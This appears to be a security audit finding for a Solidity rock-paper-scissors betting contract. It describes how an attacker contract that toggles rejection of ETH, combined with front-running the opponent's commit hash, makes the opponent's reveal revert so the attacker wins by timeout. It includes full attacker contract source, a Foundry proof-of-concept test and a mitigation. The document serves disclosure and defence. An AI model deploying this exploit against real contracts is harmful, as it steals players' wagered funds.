Description: An attacker can deploy a contract with a toggle to reject incoming ETH.
They use this contract to create or join a game, then front-run the opponent by committing the same hash.
When both players reveal the same move and salt in a one-turn game,
the opponent's reveal will revert due to _handleTie
attempting to send ETH back to the attacker’s contract, which rejects it.
The attacker then waits for the reveal timeout, toggles ETH acceptance back on, and calls timeoutReveal
to claim victory.
Impact: This allows the attacker to win without any risk, as they can always ensure a win or a tie (if opponent won't reveal) and prevent the opponent from winning.
Proof of Concept: write an attacker contract as following
pragma solidity ^0.8.20;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {RockPaperScissors} from "../../src/RockPaperScissors.sol";
contract RockPaperScissorsAttacker is Ownable {
RockPaperScissors public game;
bool public receive_blocker = true;
constructor(RockPaperScissors _game) Ownable(msg.sender) {
game = _game;
}
receive() external payable {
if(receive_blocker){
revert();
}
}
function setReceiveBlocker(bool _block) external onlyOwner {
receive_blocker = _block;
}
function withdraw() external onlyOwner {
uint256 balance = address(this).balance;
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Transfer failed.");
}
function createGame(uint256 betAmount, uint256 time_interval) external {
game.createGameWithEth{value: betAmount}(1, time_interval);
}
function joinGame(uint256 gameId, uint256 betAmount) external {
game.joinGameWithEth{value: betAmount}(gameId);
}
function commitMove(uint256 gameId, bytes32 commit) external {
game.commitMove(gameId, commit);
}
function revealMove(uint256 gameId, uint8 move, bytes32 salt) external {
game.revealMove(gameId, move, salt);
}
function claimWin(uint256 gameId) external {
game.timeoutReveal(gameId);
}
}
add the following test and run it
function testAuditNeverLose() public {
uint256 betAmount = 1 ether;
uint256 timeInterval = 1 days;
uint256 attackerBalanceBefore = attacker.balance;
vm.prank(playerA);
uint256 gameId = game.createGameWithEth{value: betAmount}(1, timeInterval);
vm.startPrank(attacker);
RockPaperScissorsAttacker attackerContract = new RockPaperScissorsAttacker(game);
vm.deal(address(attackerContract), betAmount);
attackerContract.joinGame(gameId, betAmount);
vm.stopPrank();
bytes32 commitA = keccak256(abi.encodePacked(RockPaperScissors.Move.Rock, saltA));
vm.prank(attacker);
attackerContract.commitMove(gameId, commitA);
vm.prank(playerA);
game.commitMove(gameId, commitA);
vm.prank(attacker);
attackerContract.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
vm.prank(playerA);
vm.expectRevert();
game.revealMove(gameId, uint8(RockPaperScissors.Move.Rock), saltA);
(,,,,uint256 revealDeadline,,,,,,,,,,,) = game.games(gameId);
vm.warp(block.timestamp + revealDeadline + 1 seconds);
vm.startPrank(attacker);
attackerContract.setReceiveBlocker(false);
attackerContract.claimWin(gameId);
attackerContract.withdraw();
vm.stopPrank();
assertEq(attacker.balance, attackerBalanceBefore + betAmount * 2 - betAmount * 2 / 10);
}
Recommended Mitigation:
Decouple the ETH withdrawal logic from the game flow, allowing players to withdraw their ETH only after the game has concluded.